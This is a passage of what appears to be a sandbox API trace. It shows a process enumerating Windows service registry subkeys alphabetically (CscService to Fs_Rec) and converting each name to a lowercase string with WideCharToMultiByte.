out: lpName="CscService") returned 0x0 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f18e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f18e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0193.834] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0193.835] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0193.835] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0193.835] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0193.835] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0193.835] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0193.835] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0193.836] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0193.836] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0193.836] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0193.836] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0193.836] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0193.836] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0193.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0193.837] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0193.837] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0193.837] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0193.837] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0193.837] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0193.837] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0193.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0193.838] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0193.838] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0193.838] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0193.838] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0193.838] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0193.840] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0193.840] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0193.840] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0193.840] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0193.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0193.841] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0193.841] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0193.841] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0193.841] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1c88, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0193.841] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0193.841] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0193.841] 